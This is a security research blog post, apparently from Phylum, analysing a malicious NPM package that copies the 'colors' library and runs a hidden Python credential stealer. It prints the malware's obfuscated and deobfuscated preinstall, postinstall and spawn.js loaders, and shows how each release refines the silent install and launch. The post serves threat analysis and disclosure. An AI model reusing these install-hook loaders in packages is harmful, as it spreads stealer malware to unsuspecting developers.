Attackers Repurposing existing Python-based Malware for Distribution on NPM

Attackers Repurposing existing Python-based Malware for Distribution on NPM

On April 16, 2023, Phylum's automated risk detection platform detected a surge of publications of a library called https://app.phylum.io/package/npm/vibranced/1.8.6 on NPM. In this article, we will examine the actions taken by the attackers and their attempts to distribute Python-based malware on NPM.

--cta--

The Usual Package Copycat

The attackers copied the widely-used NPM library colors which has more than 20 million downloads per week, as the base code for their publication. This was an obvious attempt to deceive and maximize the reach of the malware.

The NPM landing page for https://app.phylum.io/package/npm/vibranced/1.8.6 shows the following:

a

This landing page is almost identical to the legitimate landing page of the popular colors package on NPM. One tactic frequently used by attackers is to link to the legitimate GitHub repository in an attempt to deceive users into thinking that the fake landing page is associated with the genuine repository. However, in this case, the bogus NPM package contains a link to a GitHub repository that belongs to a throwaway user account called "seasonal-circulation.”

b

One notable observation is the language distribution within the repository. It is apparent that the majority of the code (81%) is written in Python, which may come as a surprise since the repository is supposed to be a JavaScript library. This can be explained by the inclusion of a 3.6MB Python file containing malicious code, which was added to the original 40KB JavaScript repository.

The Malicious Code

Digging through the repo we can find the malicious code buried in the lib/custom/styles.py file. Here’s a screenshot of it from the first release version 1.4.44:

c

This is an example of Hyperion obfuscation. If you're not familiar with this type of obfuscation, it's a tactic that tries to make the code look harmless by using seemingly normal variable and method names. Another technique employed in Hyperion is hiding the malicious payload far off to the right of the visible area by using whitespace. Turning on word wrap will reveal this:

d

Once deobfuscated, this reveals a standard stealer malware.

Python Malware on NPM

This type of malicious code is published almost daily on PyPI, but it's intriguing to see the attackers attempting to deploy it on NPM. Let's take a closer look at how they are doing this. It's worth noting that while the NPM landing page for https://app.phylum.io/package/npm/vibranced/1.8.6 only shows a few versions available, the attacker actually released 15 packages in total while trying to get it right.

In their initial release (version 1.4.44), the attackers started with a simple preinstall script in the package.json file, attempting to use the system command py or python to pip install the requirements.txt. However, the release didn't include a requirements.txt, so although it was a valiant first effort, it wouldn't have accomplished anything.

Here's the snippet from the version 1.4.44 package.json:

"preinstall": "py -m pip install -r requirements.txt && python -m pip install -r requirements.txt",

For the next few releases, they switched to working with postinstall for some reason and were trying to figure out how to use the node command to actually call a postinstall.js file.

For example, in version 1.4.48 they tried:

"postinstall": "node postinstall",

In version 1.4.5, they realized they needed the “.js” extension to get it to run.

"postinstall": "node postinstall.js",

In version 1.5.2, they finally introduced their postinstall.js script. And unsurprisingly, that script is obfuscated.

function _0x604c(){const _0x4c592f=['5498TxZiXl','179479MGqOQw','305756vxYxcE','95gEoJnM','54153uGOMLr','Could\x20not\x20find\x20a\x20valid\x20Python\x20installation!','276YeRFWw','Make\x20sure\x20you\x20have\x20Python\x20installed\x20and\x20try\x20again!','322432dUirmE','416994LcjLAP','7PlfzsI','python3\x20-m\x20pip\x20install\x20requests\x20pycryptodome\x20discord.py\x20pypiwin32\x20wmi','130lACcMB','python\x20-m\x20pip\x20install\x20requests\x20pycryptodome\x20discord.py\x20pypiwin32\x20wmi','255oUWily','1784BoxVPL','child_process','then','error'];_0x604c=function(){return _0x4c592f;};return _0x604c();}function _0x10e0(_0x2f98ce,_0x29d354){const _0x604c65=_0x604c();return _0x10e0=function(_0x10e012,_0x2d9dd0){_0x10e012=_0x10e012-0x12f;let _0x591432=_0x604c65[_0x10e012];return _0x591432;},_0x10e0(_0x2f98ce,_0x29d354);}const _0x5519b6=_0x10e0;(function(_0x149479,_0x25febd){const _0x43cba6=_0x10e0,_0x419d45=_0x149479();while(!![]){try{const _0x237493=-parseInt(_0x43cba6(0x137))/0x1+-parseInt(_0x43cba6(0x136))/0x2*(parseInt(_0x43cba6(0x131))/0x3)+-parseInt(_0x43cba6(0x132))/0x4*(-parseInt(_0x43cba6(0x139))/0x5)+parseInt(_0x43cba6(0x13f))/0x6*(-parseInt(_0x43cba6(0x140))/0x7)+parseInt(_0x43cba6(0x13e))/0x8+-parseInt(_0x43cba6(0x13a))/0x9*(parseInt(_0x43cba6(0x12f))/0xa)+-parseInt(_0x43cba6(0x138))/0xb*(-parseInt(_0x43cba6(0x13c))/0xc);if(_0x237493===_0x25febd)break;else _0x419d45['push'](_0x419d45['shift']());}catch(_0x944991){_0x419d45['push'](_0x419d45['shift']());}}}(_0x604c,0x1f0f6));const {exec}=require(_0x5519b6(0x133));let errors=0x0;const main=async()=>{const _0x378884=_0x5519b6;exec(_0x378884(0x141),(_0x5a116b,_0x54e490,_0x2c4197)=>{if(_0x5a116b){errors++;return;}}),exec('py\x20-m\x20pip\x20install\x20requests\x20pycryptodome\x20discord.py\x20pypiwin32\x20wmi',(_0x52da38,_0x46ac2b,_0x2aeb23)=>{if(_0x52da38){errors++;return;}}),exec(_0x378884(0x130),(_0x47b27e,_0x5c7c40,_0x420096)=>{if(_0x47b27e){errors++;return;}}),await new Promise(_0x214af6=>setTimeout(_0x214af6,0x2*0x3e8)),errors>=0x3&&(console[_0x378884(0x135)](_0x378884(0x13b)),console['error'](_0x378884(0x13d)));};main()[_0x5519b6(0x134)]();

Deobfuscated, it reveals the following:

const { exec } = require('child_process');
let errorCount = 0;

const main = async () => {
  exec('python3 -m pip install requests pycryptodome discord.py pypiwin32 wmi', (err) => {
    if (err) {
      errorCount++;
      return;
    }
  });

  exec('python -m pip install requests pycryptodome discord.py pypiwin32 wmi', (err) => {
    if (err) {
      errorCount++;
      return;
    }
  });

  exec('python -V', (err) => {
    if (err) {
      errorCount++;
      return;
    }
  });

  await new Promise((resolve) => setTimeout(resolve, 2000));

  if (errorCount >= 3) {
    console.error('Could not find a valid Python installation!');
    console.error('Make sure you have Python installed and try again!');
  }
};

main();

In version 1.5.2, the attackers introduced the postinstall.js script, which is focused on installing the required Python dependencies for the malware they're trying to distribute.

Between versions 1.5.3 and 1.6.0, they only changed the version number. However, in version 1.6.0, they significantly modified the styles.py file, likely running it through the obfuscator again after altering the malicious payload. From version 1.6.5 to 1.7.0, they added psutil as another Python dependency in the obfuscated postinstall.js file. In version 1.7.5, they formatted the spawn.js file found in the lib/custom/ folder. Speaking of which, let's deobfuscate that. Here’s the obfuscated version:

(function (_0x3e927e, _0x1eff84) {
    const _0x51de25 = _0x5848,
        _0x3a9ff3 = _0x3e927e();
    while (!![]) {
        try {
            const _0x41c85a = -parseInt(_0x51de25(0x187)) / 0x1 * (parseInt(_0x51de25(0x181)) / 0x2) + parseInt(_0x51de25(0x180)) / 0x3 * (-parseInt(_0x51de25(0x17d)) / 0x4) + -parseInt(_0x51de25(0x182)) / 0x5 * (parseInt(_0x51de25(0x183)) / 0x6) + -parseInt(_0x51de25(0x17b)) / 0x7 + parseInt(_0x51de25(0x17c)) / 0x8 + parseInt(_0x51de25(0x17f)) / 0x9 + parseInt(_0x51de25(0x184)) / 0xa * (parseInt(_0x51de25(0x17e)) / 0xb);
            if (_0x41c85a === _0x1eff84) break;
            else _0x3a9ff3['push'](_0x3a9ff3['shift']());
        } catch (_0x544821) {
            _0x3a9ff3['push'](_0x3a9ff3['shift']());
        }
    }
}(_0x1366, 0xf03f4));

function _0x1366() {
    const _0x3a6aa2 = ['15230504UGyXxV', '4908gPshJG', '624437rMzZFD', '17671581NRoCOp', '1644iFCZzZ', '1049914pIuole', '2572930zqDgEK', '6wVRKUc', '40AMwHNW', '/styles.py', 'python', '1eyllAP', 'error', '9788793IRpOrc'];
    _0x1366 = function () {
        return _0x3a6aa2;
    };
    return _0x1366();
}

function _0x5848(_0x327fd9, _0x237426) {
    const _0x1366e6 = _0x1366();
    return _0x5848 = function (_0x584848, _0xfcf63f) {
        _0x584848 = _0x584848 - 0x17a;
        let _0x21838d = _0x1366e6[_0x584848];
        return _0x21838d;
    }, _0x5848(_0x327fd9, _0x237426);
}
const {
    spawn
} = require('child_process'), a = async () => {
    const _0x43e205 = _0x5848;
    try {
        spawn('py', [__dirname + '/styles.py']);
    } catch (_0x43f61e) {
        return
    }
    try {
        spawn("python", [__dirname + _0x43e205(0x185)]);
    } catch (_0x5af29c) {
        return
    }
    try {
        spawn('python3', [__dirname + _0x43e205(0x185)]);
    } catch (_0x1db291) {
        return
    }
};
a();

That deobfuscates to the following.

const { spawn } = require('child_process');const main = async () => {  try {    spawn('python', [__dirname + '/styles.py']);  } catch (err) {    console.error(err);  }  try {    spawn('python3', [__dirname + '/styles.py']);  } catch (err) {    console.error(err);  }  try {    spawn('py', [__dirname + '/styles.py']);  } catch (err) {    console.error(err);  }};main();

In v1.8.0, they deobfuscated the spawn.js file to the following:

const { spawn } = require("node:child_process");

const spawnPython = () => {
    try {
        spawn("python", [`${__dirname}/styles.py`])
    } catch (e) {}

    try {
        spawn("py", [`${__dirname}/styles.py`])
    } catch (e) {}

    try {
        spawn("python3", [`${__dirname}/styles.py`])
    } catch (e) {}
}

spawnPython()

Strangely, in version 1.8.1 they released the malicious code in styles.py in a non-obfuscated form and also removed console logging from spawn.js that reported whether the styles.py file was launched successfully.

In version 1.8.2, they added node:fs as a requirement and for some inexplicable reason they changed the obfuscation to this mess:

e

Also in version 1.8.2 they switched back to a preinstall hook and changed the obfuscated preinstall.js. The deobfuscated form of preinstall.js now takes the following form:

const { exec } = require('child_process');

const main = async () => {
  exec('python --version', (err, stdout, stderr) => {
    const errMsg = 'Failed to install necessary prerequisites. Please try installing again later, and ensure Python is installed on your system.';
    if (err) {
      console.error(errMsg);
      process.exit(1);
    }
  });

  try {
    exec('python -m pip install psutil requests wmi pycryptodome discord discord.py pypiwin32', (err, stdout, stderr) => {
      const errMsg = 'Failed to install necessary prerequisites. Please try installing again later, and ensure Python is installed on your system.';
      if (err) {
        console.error(errMsg);
        process.exit(1);
      }
    });
  } catch {
    const errMsg = 'Python is not installed. Please install Python before installing this package.';
    console.error(errMsg);
    process.exit(1);
  }
};

main();

It seems that the attackers have made some adjustments and are attempting to guide users into installing Python if it is not already installed, then asking them to try reinstalling the malicious package. The code in the preinstall hook has been modified to reflect this, and is now more concise and easier to understand compared to previous versions.

Where is the Malicious Code actually run?

Okay, so we know that the preinstall hook is what makes sure Python is installed and gets the required dependencies in place. We also know that the spawn.js file contains the code that actually launches the malicious Python stealer. So, where is the code that launches the spawn.js file? Unsurprisingly, it’s directly in the index.js file:

var {spawnSync} = require("node:child_process");
var colors = require('./colors');
module['exports'] = colors;

// Remark: By default, colors will add style properties to String.prototype.
//
// If you don't wish to extend String.prototype, you can do this instead and
// native String will not be touched:
//
//   var colors = require('colors/safe);
//   colors.red("foo")
//
//
require('./extendStringPrototype')();
require("./custom/spawn");

So, using this package will definitely "get color and style in your node.js console,” but it’ll also get your sensitive credentials and information stolen. Don’t use this package!

Conclusion

As mentioned earlier, we see this kind of malware published frequently on PyPI. We’ve also seen similar kinds of stealers written in JavaScript published to NPM. However, seeing threat actors who are repurposing existing Python-based malware for distribution on NPM is a new trend that we don’t expect to be going away any time soon. These threat actors are leveraging the platform's install hooks to install the necessary Python dependencies and then executing their Python-based malware via JavaScript-based system commands.

Phylum Research Team

Phylum Research Team

Hackers, Data Scientists, and Engineers responsible for the identification and takedown of software supply chain attackers.